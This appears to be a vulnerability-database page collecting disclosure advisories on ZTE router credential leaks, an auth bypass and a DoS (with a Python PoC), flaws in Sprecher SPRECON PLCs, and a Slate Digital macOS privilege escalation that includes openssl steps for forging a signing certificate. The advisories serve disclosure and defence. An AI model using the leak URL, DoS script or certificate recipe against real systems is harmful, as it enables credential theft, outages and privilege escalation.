https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
Assigner
References
7 references
Relationships
analysis
GCVE-1988-2026-0373 (this record)
- related CVE-2021-21735
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GCVE-1988-2026-0372
Vulnerability from gna-1988 – Published: 2026-09-11 07:55 – Updated: 2026-09-11 07:55
VLAI
EPSS
VEX
Title
[SECURITY ADVISORY] CVE-2026-34474 - ZTE H298A/H108N Unauthenticated Admin Credential Exposure
Summary
-----BEGIN SECURITY ADVISORY-----
Advisory ID: MONX-2026-003
CVE ID: CVE-2026-34474
Title: ZTE ZXHN H298A / H108N - Unauthenticated Admin Password &
WLAN Credential Exposure
Affected: ZTE ZXHN H298A 1.1, ZTE ZXHN H108N 2.6 (EOL; no patch
planned)
Date: 2026-05-20
Author: Mina Nageh Salalma (Monx Research)
Contact: minanageh379 () gmail com
Public URL:
https://github.com/minanagehsalalma/cve-2026-34474-zte-h298a-h108n-sensitive-data-exposure
MITRE: https://www.cve.org/CVERecord?id=CVE-2026-34474
VULNERABILITY DESCRIPTION
--------------------------
A single unauthenticated HTTP GET to /getpage.lua?pid=1000ÐCheat=1 on ZTE
H298A or H108N routers returns the live administrator password
(OBJ_USERINFO_IDPassword1), WLAN PSK (WLANPSK_KeyPassphrase1), and SSID in
plaintext HTML. A second endpoint exposes the device serial number.
Note: ZTE declined vendor-side assignment citing product EOL. MITRE assigned
CVE-2026-34474 directly and published the record 2026-05-06. These devices
remain deployed by some ISPs.
CREDITS
-------
Mina Nageh Salalma (Monx Research)
https://github.com/minanagehsalalma
-----END SECURITY ADVISORY-----
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
Assigner
References
7 references
Relationships
reference
GCVE-1988-2026-0372 (this record)
- related CVE-2026-34474
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GCVE-1988-2026-0371
Vulnerability from gna-1988 – Published: 2026-09-11 07:55 – Updated: 2026-09-11 07:55
VLAI
EPSS
VEX
Title
[SECURITY ADVISORY] CVE-2026-34472 - ZTE ZXHN H188A V6 Authentication Bypass via Pre-Login Wizard
Summary
-----BEGIN SECURITY ADVISORY-----
Advisory ID: MONX-2026-002
CVE ID: CVE-2026-34472
Title: ZTE ZXHN H188A V6 - Authentication Bypass via Pre-Login
Wizard Credential Leakage
Affected: ZTE ZXHN H188A V6.0.10P2_TE, V6.0.10P3N3_TE
Date: 2026-05-20
Author: Mina Nageh Salalma (Monx Research)
Contact: minanageh379 () gmail com
Public URL:
https://github.com/minanagehsalalma/cve-2026-34472-auth-bypass-zte-h188a-router
MITRE: https://www.cve.org/CVERecord?id=CVE-2026-34472
VULNERABILITY DESCRIPTION
--------------------------
Unauthenticated requests to the root path of ZTE ZXHN H188A V6 firmware can
reach pre-login wizard handlers and disclose WLAN PSKs, SSIDs, and PPPoE
usernames. The leaked Wi-Fi password is also the default administrator
password after uppercasing, resulting in full authentication bypass.
ROOT CAUSE
----------
router_logic_impl.lua accepts attacker-controlled _type and _tag parameters
for empty-path requests. urlpath_2type_modifier.lua only activates the
QuickSetupEnable gate when _type is absent. Supplying _type explicitly
causes
the wizard handlers (getPassword, wlan_get, ppp_get) to execute for
unauthenticated requests, returning WLAN PSKs, SSIDs, and PPPoE credentials.
TIMELINE
--------
2024-04-26: Local validation and PoC artifacts created.
2024-05: Report sent to ZTE PSIRT.
2024-05-10: ZTE PSIRT stopped responding.
2026-01-17: Escalated to MITRE.
2026-02-02: ZTE PSIRT explicitly declined CVE assignment.
2026-03-27: MITRE assigned CVE-2026-34472.
2026-05-20: Full public disclosure.
CREDITS
-------
Mina Nageh Salalma (Monx Research)
https://github.com/minanagehsalalma
-----END SECURITY ADVISORY-----
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
Assigner
References
7 references
Relationships
analysis
GCVE-1988-2026-0371 (this record)
- related CVE-2026-34472
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GCVE-1988-2026-0370
Vulnerability from gna-1988 – Published: 2026-09-11 07:55 – Updated: 2026-09-11 07:55
VLAI
EPSS
VEX
Title
[SECURITY ADVISORY] CVE-2026-34473 - Unauthenticated DoS in 17+ ZTE Router Models (140K+ Devices)
Summary
-----BEGIN SECURITY ADVISORY-----
Advisory ID: MONX-2026-001
CVE ID: CVE-2026-34473
Title: Unauthenticated Denial of Service via Oversized POST Body
in ZTE Router CGILua Parser
Affected: 17+ ZTE ZXHN router models (~140,000 publicly exposed
devices)
CVSS Score: 7.5 (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H)
Date: 2026-05-20
Author: Mina Nageh Salalma (Monx Research)
Contact: minanageh379 () gmail com
Public URL:
https://github.com/minanagehsalalma/cve-2026-34473-unauthenticated-dos-zte-routers
MITRE: https://www.cve.org/CVERecord?id=CVE-2026-34473
AFFECTED PRODUCTS
-----------------
17+ ZTE ZXHN router models sharing the CGILua firmware stack.
Estimated 140,000+ devices publicly reachable on the Internet at time of
research.
VULNERABILITY DESCRIPTION
--------------------------
The CGILua post.lua parser used in ZTE ZXHN routers does not enforce an
upper
bound on the body size of application/x-www-form-urlencoded POST requests.
An unauthenticated attacker can crash or freeze the router's web management
service by sending a single HTTP POST request with an oversized body to any
CGI endpoint. No authentication, session cookie, or prior access is
required.
ROOT CAUSE
----------
Firmware analysis of extracted squashfs images confirms that post.lua reads
the entire POST body into memory before parsing. There is no Content-Length
check or body-size limiter before the allocation occurs. Oversized payloads
cause the LuCI/CGILua process to exhaust memory or fault, taking down the
web management interface until the device is power-cycled.
PROOF OF CONCEPT
----------------
import requests
url = "http://TARGET_IP/cgi-bin/luci";
payload = "a=" + "A" * (256 * 1024) # 256 KB
headers = {"Content-Type": "application/x-www-form-urlencoded"}
try:
r = requests.post(url, data=payload, headers=headers, timeout=15)
print(f"HTTP {r.status_code}")
except requests.exceptions.Timeout:
print("Timeout - DoS successful")
except requests.exceptions.ConnectionError:
print("Connection dropped - DoS successful")
IMPACT
------
An unauthenticated attacker on the LAN or WAN (if management interface is
publicly exposed, as is the case for ~140,000 devices) can permanently
disable remote management access, forcing a physical reboot to restore
access.
ISP-deployed devices with no physical access for end users are especially
vulnerable.
TIMELINE
--------
2024-05: Local validation on hardware. Firmware extraction and root-cause
confirmed.
2024-05: Report sent to ZTE PSIRT.
2025-01: Escalated to MITRE after ZTE failed to respond.
2026-03: MITRE assigned CVE-2026-34473.
2026-05-20: Full public disclosure.
VENDOR RESPONSE
---------------
ZTE PSIRT did not respond to the initial report. MITRE assigned the CVE
directly. No patch has been issued.
CREDITS
-------
Mina Nageh Salalma (Monx Research)
https://github.com/minanagehsalalma
-----END SECURITY ADVISORY-----
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
Assigner
References
8 references
Relationships
analysis
GCVE-1988-2026-0370 (this record)
- related CVE-2026-34473
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GCVE-1988-2026-0368
Vulnerability from gna-1988 – Published: 2026-09-11 07:55 – Updated: 2026-09-11 07:55
VLAI
EPSS
VEX
Title
SEC Consult SA-20260617-0 :: Multiple Critical Vulnerabilities in Sprecher Automation SPRECON-E-C/-E-P/-E-T3
Summary
SEC Consult Vulnerability Lab Security Advisory < 20260617-0 >
=======================================================================
title: Multiple Critical Vulnerabilities
product: Sprecher Automation SPRECON-E-C/-E-P/-E-T3
vulnerable version: See vulnerable versions below
fixed version: See solution section below
CVE number: CVE-2022-4333, CVE-2022-4332, CVE-2025-41741,
CVE-2025-41742, CVE-2025-41743, CVE-2025-41744
impact: critical
homepage:https://www.sprecher-automation.com/
found: 2022-08-26
by: Steffen Robertz
Christian Hager (Office Vienna)
SEC Consult Vulnerability Lab
An integrated part of SEC Consult, an Atos business
Europe | Asia
https://www.sec-consult.com
=======================================================================
Vendor description:
-------------------
"Sprecher Automation provides products and solutions for power supply
and process automation. We secure critical infrastructures and optimise
complex energy and industry processes. [...]
Quality, availability and security – those are not only our customers's
requirements, but also goals we are striving for. Due to that, for example,
the hard- and software development are located in Austria and Germany.
We produce exclusively in Austria – starting with the production of
single elements, to system checks and practical inhouse testing."
Source:https://www.sprecher-automation.com/en/company
Business recommendation:
------------------------
The vendor provides updated versions as well as workaround information in
their security advisories. Users should verify whether the patches are
installed already, otherwise patch immediately.
SEC Consult highly recommends to perform a thorough security review of
the product conducted by security professionals to identify and resolve
potential further security issues.
Vulnerability overview/description:
-----------------------------------
1) Leak of Firmware Signing Private Key (CVE-2025-41741)
Sprecher signs its firmware update files to prevent an attacker from
loading manipulated update files. However, each PLC contains the
globally valid private signing key, as it is also used to sign backups.
An attacker, who obtains the key is able to ship validly signed,
modified firmware updates.
The security vulnerability has been resolved in firmware version 9 and
above. Further details can be found in the advisory of the vendor. In
previous versions the affected feature can be deactivated by the customer.
The stated key can only be used in conjunction with the backup feature.
Affected products: SPRECON-E-C/-E-P/-E CPU Modul
2) Missing Secure-Boot Mechanism (CVE-2022-4332)
The PLC is able to detect secure boot violations correctly. However,
the events are not handled properly. They only output a warning to the
boot log, but do not prevent the device's operation. Thus, anybody with
physical access to the device can modify the firmware and potentially
include backdoors.
The security vulnerability has been resolved in firmware version 8.71a and
above, as well as 8.64m. Further details can be found in the advisory
of the vendor. In current and previous versions the affected feature can be
deactivated by the customer.
Affected products: SPRECON-E-C/-E-P/-E
3) Unencrypted External Flash Memory (CVE-2022-4332)
The external flash memory can be dumped using tools such as the Xgecu
T56. This allows an attacker with physical access to read all files and
thus gain knowledge about sensitive files such as passwords and private
keys.
The security vulnerability has been resolved in firmware version 9 and above.
Further details can be found in the advisory of the vendor. In current and
previous versions the affected feature can be deactivated by the customer.
Affected products: SPRECON-E-C/-E-P/-E-T3
4) Usage of static passwords (CVE-2025-41742)
Various static passwords / key material can be discovered in the firmware.
They serve different use cases, such as hard-coded user accounts, as well as
encryption for settings and configuration files. This allows an attacker
to decrypt configuration files, modify them and properly encrypt them
again.
According to the vendor, the documented static identity string does not serve
a security purpose in the system and is used as an identifier for maintenance.
Using the default identifier can lead to the targeted system being misidentified
during maintenance.
Affected products: SPRECON-E-C/-E-P/-E-T3
5) Hard-coded Vendor Accounts (CVE-2022-4333)
Two hard-coded vendor accounts were revealed in the devices. These
accounts are shipped with every update file and can be used by the
vendor e.g. for support access.
These documented accounts can be activated or deactivated in the configuration.
These accounts are additionally secured with 2FA in firmware version 8.71g.
Affected products: SPRECON-E-C/-E-P/-E-T3
6) Decrypt Firmware Update Files (CVE-2025-41743)
Firmware update files include hard-coded accounts from vulnerability 5 and
can be decrypted using an XOR algorithm and a static password. This
allows an attacker to further analyze PLC components as well as gaining
knowledge of private keys and hard-coded accounts without requiring
physical access to any device.
The signature and encryption mechanism have been modified and the security
vulnerability has been resolved in version 8.71 and above. Further details
can be found in the advisory of the vendor.
Affected products: SPRECON-E-C/-E-P/-E-T3
7) Insecure Transport Encryption (CVE-2025-41744)
The PLC's webserver and the connection to the Sprecher Engineering Center
software use the same static default key on all devices. An attacker who gains
access to the private key via vulnerability 3 or 6 can thus decrypt all
traffic in a man-in-the-middle position. Thus, an attacker would be
able to change configurations and read connection passwords.
According to the vendor, those certificates are only used during initial
commissioning and users can find further information to change the certificates
in the documentation/guideline "SPRECON Grundhärtung" (basic hardening).
The vendor's hardening guide makes it clear that it is both possible and
recommended to change the default certificate.
Documentation: 94.2.913.50en SPRECON Basic Hardening
Proof of concept:
-----------------
1) Leak of Firmware Signing Private Key (CVE-2025-41741)
Backups are restored by the same command flow as regular update files.
Thus, backups need to be validly signed as well. For this, Sprecher's
private key is required. The following openssl command signs the
created backup:
```
openssl dgst -sha256 -sign ${SSM_CERT}/.backup.key -passinfile:${SSM_CERT}/.pass -out
${SSM_SECURE_DIR}/image.sha256 ${SSM_SECURE_DIR}/image.zip 2>/dev/null
```
The private key and password are both stored in the same filesystem and
can be obtained via the decrypted firmware update file (vulnerability 6)
or the unencrypted flash memory (vulnerability 3).
2) Missing Secure-Boot Mechanism (CVE-2022-4332)
The main SoC of the SPRECON E-C-94 is an i.MX6. The board does not fully
enable High-Assurance Boot (HAB). Thus, the firmware and bootloader can
be modified. The modification is detected, however, since secure boot is
not fully enabled, the violation will not be handled. The following boot
log can be seen on the device's service connector (X6). The first
bootline was manipulated to include the string "SECTEST".
```
REL_UBOOT_SECTEST_2015_07_RC7 SPL (Mar 11 2022 - 10:55:26)
Booting from SPI
Image Entry Point: 0x17800000
Image Load Address: 0x177FFFC0
Image Size: 0x48000
Authenticate image from DDR location 0x177fffc0...
Authenticated Image Size = 0x46000
Load Addr = 0x17800000
HAB not enabled
U-Boot Authentication Successful
[...]
Authenticate image from DDR location 0x12000000...
Authenticated Image Size = 0x7bc000
HAB not enabled
HAB Configuration: 0xf0, HAB State: 0x66
--------- HAB Event 1 -----------------
[...]
zImage Authentication Successful
```
3) Unencrypted External Flash Memory (CVE-2022-4332)
The main memory is a BGA153 eMMC flash memory. Thus, it can be read by
multiple tools such as the Xgecu T56. By dumping its contents, an
attacker can extract password hashes from the `/etc/passwd` or
`/etc/shadow` file and gain access to the private key from
vulnerability 1.
4) Usage of static passwords (CVE-2025-41742)
4.1) Static Passwords in Sprecher Engineering Studio
Two different passwords can be used to call an internal function.
This can be seen in following code snippet:
```
iVar3 = _strcmp(local_28,"**redacted**");
if (((iVar3 == 0) || (iVar3 = _strcmp(local_28,"**redacted**"), iVar3 == 0)) ||(iVar3 =
_strcmp(local_28,"**redacted**"), iVar3 == 0)) {
FUN_10001780(local_28,0x20,"XXX");
}
```
Unfortunately, we were not able to fully determine the use case of
these credentials.
4.2) Static Passwords in Sprecher Engineering Studio Configuration files
When exporting configurations from the Engineering Studio, a .sprXecz
file will be created. It is encrypted using a static password.
4.3) Webserver Settings Export
The webserver exports its settings as .jzp file. However, this
is just a renamed .zip file which uses a static password.
4.4) OpenVPN and IPSEC Settings Export/Import
OpenVPN profiles and IPSEC settings are exported/imported as
zip files. They are encrypted with a static password.
5) Hard-coded Vendor Accounts (CVE-2022-4333)
The `/etc/passwd` file and `/etc/shadow` file reveal hard-coded password
hashes for the "sprecon" and "spradm" accounts. These accounts are shipped
with the update files (tested with official downloadable version 8.71) and
there seems to be no option for deleting or changing their passwords.
The usability of the accounts is configurable via the configuration.
Details to deactivate the accounts are included in the hardening guidelines.
6) Decrypt Firmware Update Files (CVE-2025-41743)
SPRECON firmware update files are encrypted. However, they use XOR magic
and static passwords as encryption method. Due to limited time, we did
not reverse engineer the XOR algorithm and instead ran the decoding
binaries using QEMU. First, the fwimaker binary was run to create a
regular zip file from the XORed .fwi file by running the following
command:
```
qemu-arm -L /usr/arm-linux-gnueabihf ./fwimaker x sce_P9pu244_sc_864l_crypt.fwi extracted.zip
```
Afterwards the ZIP file can be decompressed and decrypted.
An attacker is now able to read the static password hashes and
further analyze components of the PLC.
According to the vendor, manipulated firmware update files cannot be
flashed anymore, due to the usage of firmware signing.
7) Insecure Transport Encryption (CVE-2025-41744)
The file `/etc/rbac/default.pem` contains a private key which is used
for the HTTPS encryption of the webserver. Further, the same key is used
to encrypt the communication with the Sprecher Engineering Studio.
An attacker can use vulnerability 3 or 6 to obtain the private key
and can then decrypt communication in a man-in-the-middle position.
The certificate has following fingerprint:
```
E9:AF:F4:F1:90:83:3C:5B:0B:E2:DF:E1:DF:31:69:B5:C1:EC:90:52
```
One device using the same certificate was discovered on the internet.
According to the vendor, those certificates are only used during initial
commissioning and users can find further information to change the certificates
in the documentation/guideline "SPRECON Grundhärtung" (basic hardening).
The vendor's hardening guide makes it
Severity
No CVSS data available.
Assigner
References
17 references
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| unknown | Sprecher Automation SPRECON-E-C/-E-P/-E-T3 |
Affected:
unknown
|
Relationships
analysis
GCVE-1988-2026-0368 (this record)
- related CVE-2022-4332
- related CVE-2022-4333
- related CVE-2025-41741
- related CVE-2025-41742
- related CVE-2025-41743
- related CVE-2025-41744
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"value": "SEC Consult Vulnerability Lab Security Advisory \u003c 20260617-0 \u003e\n=======================================================================\n title: Multiple Critical Vulnerabilities\n product: Sprecher Automation SPRECON-E-C/-E-P/-E-T3\n\u00a0vulnerable version: See vulnerable versions below\n fixed version: See solution section below\n\u00a0 \u00a0 \u00a0 \u00a0 \u00a0CVE number: CVE-2022-4333, CVE-2022-4332, CVE-2025-41741,\n \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 CVE-2025-41742, CVE-2025-41743, CVE-2025-41744\n\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0impact: critical\n homepage:https://www.sprecher-automation.com/\n \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 found: 2022-08-26\n by: Steffen Robertz\n Christian Hager (Office Vienna)\n SEC Consult Vulnerability Lab\n\n An integrated part of SEC Consult, an Atos business\n Europe | Asia\n\n https://www.sec-consult.com\n=======================================================================\n\nVendor description:\n-------------------\n\"Sprecher Automation provides products and solutions for power supply\nand process automation. We secure critical infrastructures and optimise\ncomplex energy and industry processes. [...]\nQuality, availability and security \u2013 those are not only our customers\u0027s\nrequirements, but also goals we are striving for. Due to that, for example,\nthe hard- and software development are located in Austria and Germany.\nWe produce exclusively in Austria \u2013 starting with the production of\nsingle elements, to system checks and practical inhouse testing.\"\n\nSource:https://www.sprecher-automation.com/en/company\n\n\nBusiness recommendation:\n------------------------\nThe vendor provides updated versions as well as workaround information in\ntheir security advisories. Users should verify whether the patches are\ninstalled already, otherwise patch immediately.\n\nSEC Consult highly recommends to perform a thorough security review of\nthe product conducted by security professionals to identify and resolve\npotential further security issues.\n\n\nVulnerability overview/description:\n-----------------------------------\n1) Leak of Firmware Signing Private Key (CVE-2025-41741)\nSprecher signs its firmware update files to prevent an attacker from\nloading manipulated update files. However, each PLC contains the\nglobally valid private signing key, as it is also used to sign backups.\nAn attacker, who obtains the key is able to ship validly signed,\nmodified firmware updates.\n\nThe security vulnerability has been resolved in firmware version 9 and\nabove. Further details can be found in the advisory of the vendor. In\nprevious versions the affected feature can be deactivated by the customer.\nThe stated key can only be used in conjunction with the backup feature.\nAffected products: SPRECON-E-C/-E-P/-E CPU Modul\n\n2) Missing Secure-Boot Mechanism (CVE-2022-4332)\nThe PLC is able to detect secure boot violations correctly. However,\nthe events are not handled properly. They only output a warning to the\nboot log, but do not prevent the device\u0027s operation. Thus, anybody with\nphysical access to the device can modify the firmware and potentially\ninclude backdoors.\n\nThe security vulnerability has been resolved in firmware version 8.71a and\nabove, as well as 8.64m. Further details can be found in the advisory\nof the vendor. In current and previous versions the affected feature can be\ndeactivated by the customer.\nAffected products: SPRECON-E-C/-E-P/-E\n\n3) Unencrypted External Flash Memory (CVE-2022-4332)\nThe external flash memory can be dumped using tools such as the Xgecu\nT56. This allows an attacker with physical access to read all files and\nthus gain knowledge about sensitive files such as passwords and private\nkeys.\n\nThe security vulnerability has been resolved in firmware version 9 and above.\nFurther details can be found in the advisory of the vendor. In current and\nprevious versions the affected feature can be deactivated by the customer.\nAffected products: SPRECON-E-C/-E-P/-E-T3\n\n4) Usage of static passwords (CVE-2025-41742)\nVarious static passwords / key material can be discovered in the firmware.\nThey serve different use cases, such as hard-coded user accounts, as well as\nencryption for settings and configuration files. This allows an attacker\nto decrypt configuration files, modify them and properly encrypt them\nagain.\n\nAccording to the vendor, the documented static identity string does not serve\na security purpose in the system and is used as an identifier for maintenance.\nUsing the default identifier can lead to the targeted system being misidentified\nduring maintenance.\nAffected products: SPRECON-E-C/-E-P/-E-T3\n\n5) Hard-coded Vendor Accounts (CVE-2022-4333)\nTwo hard-coded vendor accounts were revealed in the devices. These\naccounts are shipped with every update file and can be used by the\nvendor e.g. for support access.\n\nThese documented accounts can be activated or deactivated in the configuration.\nThese accounts are additionally secured with 2FA in firmware version 8.71g.\nAffected products: SPRECON-E-C/-E-P/-E-T3\n\n6) Decrypt Firmware Update Files (CVE-2025-41743)\nFirmware update files include hard-coded accounts from vulnerability 5 and\ncan be decrypted using an XOR algorithm and a static password. This\nallows an attacker to further analyze PLC components as well as gaining\nknowledge of private keys and hard-coded accounts without requiring\nphysical access to any device.\n\nThe signature and encryption mechanism have been modified and the security\nvulnerability has been resolved in version 8.71 and above. Further details\ncan be found in the advisory of the vendor.\nAffected products: SPRECON-E-C/-E-P/-E-T3\n\n7) Insecure Transport Encryption (CVE-2025-41744)\nThe PLC\u0027s webserver and the connection to the Sprecher Engineering Center\nsoftware use the same static default key on all devices. An attacker who gains\naccess to the private key via vulnerability 3 or 6 can thus decrypt all\ntraffic in a man-in-the-middle position. Thus, an attacker would be\nable to change configurations and read connection passwords.\n\nAccording to the vendor, those certificates are only used during initial\ncommissioning and users can find further information to change the certificates\nin the documentation/guideline \"SPRECON Grundh\u00e4rtung\" (basic hardening).\nThe vendor\u0027s hardening guide makes it clear that it is both possible and\nrecommended to change the default certificate.\nDocumentation: 94.2.913.50en SPRECON Basic Hardening\n\n\nProof of concept:\n-----------------\n1) Leak of Firmware Signing Private Key (CVE-2025-41741)\nBackups are restored by the same command flow as regular update files.\nThus, backups need to be validly signed as well. For this, Sprecher\u0027s\nprivate key is required. The following openssl command signs the\ncreated backup:\n\n```\nopenssl dgst -sha256 -sign ${SSM_CERT}/.backup.key -passinfile:${SSM_CERT}/.pass -out\n${SSM_SECURE_DIR}/image.sha256 ${SSM_SECURE_DIR}/image.zip 2\u003e/dev/null\n```\n\nThe private key and password are both stored in the same filesystem and\ncan be obtained via the decrypted firmware update file (vulnerability 6)\nor the unencrypted flash memory (vulnerability 3).\n\n\n2) Missing Secure-Boot Mechanism (CVE-2022-4332)\nThe main SoC of the SPRECON E-C-94 is an i.MX6. The board does not fully\nenable High-Assurance Boot (HAB). Thus, the firmware and bootloader can\nbe modified. The modification is detected, however, since secure boot is\nnot fully enabled, the violation will not be handled. The following boot\nlog can be seen on the device\u0027s service connector (X6). The first\nbootline was manipulated to include the string \"SECTEST\".\n\n```\nREL_UBOOT_SECTEST_2015_07_RC7 SPL (Mar 11 2022 - 10:55:26)\nBooting from SPI\nImage Entry Point: 0x17800000\nImage Load Address: 0x177FFFC0\nImage Size: 0x48000\nAuthenticate image from DDR location 0x177fffc0...\nAuthenticated Image Size = 0x46000\nLoad Addr = 0x17800000\nHAB not enabled\nU-Boot Authentication Successful\n[...]\nAuthenticate image from DDR location 0x12000000...\nAuthenticated Image Size = 0x7bc000\nHAB not enabled\nHAB Configuration: 0xf0, HAB State: 0x66\n--------- HAB Event 1 -----------------\n[...]\nzImage Authentication Successful\n```\n\n3) Unencrypted External Flash Memory (CVE-2022-4332)\nThe main memory is a BGA153 eMMC flash memory. Thus, it can be read by\nmultiple tools such as the Xgecu T56. By dumping its contents, an\nattacker can extract password hashes from the `/etc/passwd` or\n`/etc/shadow` file and gain access to the private key from\nvulnerability 1.\n\n\n4) Usage of static passwords (CVE-2025-41742)\n\u00a0 \u00a0 4.1) Static Passwords in Sprecher Engineering Studio\n Two different passwords can be used to call an internal function.\n This can be seen in following code snippet:\n \n ```\n iVar3 = _strcmp(local_28,\"**redacted**\");\n if (((iVar3 == 0) || (iVar3 = _strcmp(local_28,\"**redacted**\"), iVar3 == 0)) ||(iVar3 = \n_strcmp(local_28,\"**redacted**\"), iVar3 == 0)) {\n FUN_10001780(local_28,0x20,\"XXX\");\n }\n ```\n \n Unfortunately, we were not able to fully determine the use case of\n these credentials.\n \n 4.2) Static Passwords in Sprecher Engineering Studio Configuration files\n When exporting configurations from the Engineering Studio, a .sprXecz\n file will be created. It is encrypted using a static password.\n\n 4.3) Webserver Settings Export\n The webserver exports its settings as .jzp file. However, this\n is just a renamed .zip file which uses a static password.\n\n 4.4) OpenVPN and IPSEC Settings Export/Import\n OpenVPN profiles and IPSEC settings are exported/imported as\n zip files. They are encrypted with a static password.\n\n\n5) Hard-coded Vendor Accounts (CVE-2022-4333)\nThe `/etc/passwd` file and `/etc/shadow` file reveal hard-coded password\nhashes for the \"sprecon\" and \"spradm\" accounts. These accounts are shipped\nwith the update files (tested with official downloadable version 8.71) and\nthere seems to be no option for deleting or changing their passwords.\n\nThe usability of the accounts is configurable via the configuration.\nDetails to deactivate the accounts are included in the hardening guidelines.\n\n\n6) Decrypt Firmware Update Files (CVE-2025-41743)\nSPRECON firmware update files are encrypted. However, they use XOR magic\nand static passwords as encryption method. Due to limited time, we did\nnot reverse engineer the XOR algorithm and instead ran the decoding\nbinaries using QEMU. First, the fwimaker binary was run to create a\nregular zip file from the XORed .fwi file by running the following\ncommand:\n\n```\nqemu-arm -L /usr/arm-linux-gnueabihf ./fwimaker x sce_P9pu244_sc_864l_crypt.fwi extracted.zip\n```\n\nAfterwards the ZIP file can be decompressed and decrypted.\nAn attacker is now able to read the static password hashes and\nfurther analyze components of the PLC.\n\nAccording to the vendor, manipulated firmware update files cannot be\nflashed anymore, due to the usage of firmware signing.\n\n\n7) Insecure Transport Encryption (CVE-2025-41744)\nThe file `/etc/rbac/default.pem` contains a private key which is used\nfor the HTTPS encryption of the webserver. Further, the same key is used\nto encrypt the communication with the Sprecher Engineering Studio.\nAn attacker can use vulnerability 3 or 6 to obtain the private key\nand can then decrypt communication in a man-in-the-middle position.\nThe certificate has following fingerprint:\n\n```\nE9:AF:F4:F1:90:83:3C:5B:0B:E2:DF:E1:DF:31:69:B5:C1:EC:90:52\n```\n\nOne device using the same certificate was discovered on the internet.\n\nAccording to the vendor, those certificates are only used during initial\ncommissioning and users can find further information to change the certificates\nin the documentation/guideline \"SPRECON Grundh\u00e4rtung\" (basic hardening).\nThe vendor\u0027s hardening guide makes it "
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GCVE-1988-2026-0366
Vulnerability from gna-1988 – Published: 2026-09-11 07:55 – Updated: 2026-09-11 07:55
VLAI
EPSS
VEX
Title
SEC Consult SA-20260610-0 :: Local Privilege Escalation in Slate Digital Connect (macOS)
Summary
SEC Consult Vulnerability Lab Security Advisory < 20260610-0 >
=======================================================================
title: Local Privilege Escalation
product: Slate Digital Connect (macOS)
vulnerable version: 1.37.0
fixed version: -
CVE number: CVE-2026-24066, CVE-2026-24067
impact: high
homepage:https://app.completeaccess.audio/installers,https://slatedigital.com/
found: 2026-01-09
by: Florian Haselsteiner (Office Vienna)
SEC Consult Vulnerability Lab
An integrated part of SEC Consult, an Atos business
Europe | Asia
https://www.sec-consult.com
=======================================================================
Vendor description:
-------------------
"Slate Digital was founded in 2008 with a mission to deliver exceptional audio
production tools to musicians, engineers, producers, and content creators. With
our extensive expertise and knowledge, we are constantly evolving to stay in
step with the changing needs of modern creatives. Our goal is to inspire and
empower individuals of all skill levels to do their best work and share it
with the world."
"Slate Digital Connect lets you install, activate, and update all Slate Digital
plugins. Whether you need a fresh install, to move to a new machine, or to grab
the latest updates, Slate Digital Connect handles downloads, licenses, and
upgrades automatically."
Source:https://slatedigital.com/about/ &https://app.completeaccess.audio/installers
Business recommendation:
------------------------
The vendor was unresponsive since January 2026 and a patch is not available.
Users of this software should contact the vendor support and demand a patch.
SEC Consult highly recommends to perform a thorough security review of the
product conducted by security professionals to identify and resolve
potential further security issues.
Vulnerability overview/description:
-----------------------------------
1) Local Privilege escalation by insufficient XPC Client validation (CVE-2026-24066)
The Slate Digital Connect App installs a helper tool during installation. The
helper tool namely `com.slatedigital.connect.privileged.helper.tool` is installed
into `/Library/PrivilegedHelperTools`. It offers the XPC service
`com.slatedigital.connect.privileged.helper.tool2`.
It was found that the client validation of the XPC service is insufficient.
The following snippet of the decompiled function "isValidClient" shows that
only a check regarding the subject.OU of the certificate is performed. It is
not verified that this certificate is signed by Apple.
-----------------------------------
100003050 if (_SecRequirementCreateWithString(
100003050 @"certificate leaf[subject.OU] = "3F5JHDQ8FZ"", 0, &cf_2))
100003054 goto label_100003068;
-----------------------------------
This can be exploited by creating a self-signed certificate for code signing.
This enables attackers to craft their own self-signed certificate with the
corresponding subject.OU.
2) Insecure XPC Client validation via PID (CVE-2026-24067)
The function "isValidClient" gets the code signing information of the
connecting process by using its PID:
-----------------------------------
100002fbc SecRequirementRef cf_2 = nullptr;
100002fcc SecCodeRef var_28 = nullptr;
100002fd4 int32_t pid = _xpc_connection_get_pid();
100002fe0 CFAllocatorRef allocator = *(uint64_t*)_kCFAllocatorDefault;
100002ff4 CFNumberRef values = _CFNumberCreate(allocator, kCFNumberSInt32Type, &pid);
100003014 CFDictionaryRef cf = _CFDictionaryCreate(allocator, _kSecGuestAttributePid,
100003014 &values, 1, nullptr, nullptr);
100003038 bool z;
100003038
100003038 if (!_SecCodeCopyGuestWithAttributes(nullptr))
100003038 z = !var_28;
100003038 else
100003038 z = true;
100003038
10000303c int64_t result;
10000303c SecRequirementRef cf_1;
-----------------------------------
This is considered not secure, since it is possible to exploit this case
by exploiting PID reuse.
Proof of concept:
-----------------
1) Local Privilege escalation by insufficient XPC Client validation (CVE-2026-24066)
To exploit this issue a rogue code signing certificate must be created:
-----------------------------------
openssl genrsa -out codesign.key 4096
openssl req -new -x509 \
-key codesign.key \
-out codesign.crt \
-days 3650 \
-subj "/CN=My Self Signed Code Cert/OU=3F5JHDQ8FZ/O=Test Org/C=US" \
-addext "keyUsage=digitalSignature" \
-addext "extendedKeyUsage=codeSigning"
openssl pkcs12 -export \
-inkey codesign.key \
-in codesign.crt \
-out codesign.p12
-----------------------------------
This codesign.p12 certificate can then be imported into the keychain.
The following C code has been crafted to exploit the PrivilegedHelperTool:
-----------------------------------
[ POC removed ]
-----------------------------------
This code was compiled by:
-----------------------------------
clang -o slateExploit main.c
-----------------------------------
and then signed with the crafted certificate created before:
-----------------------------------
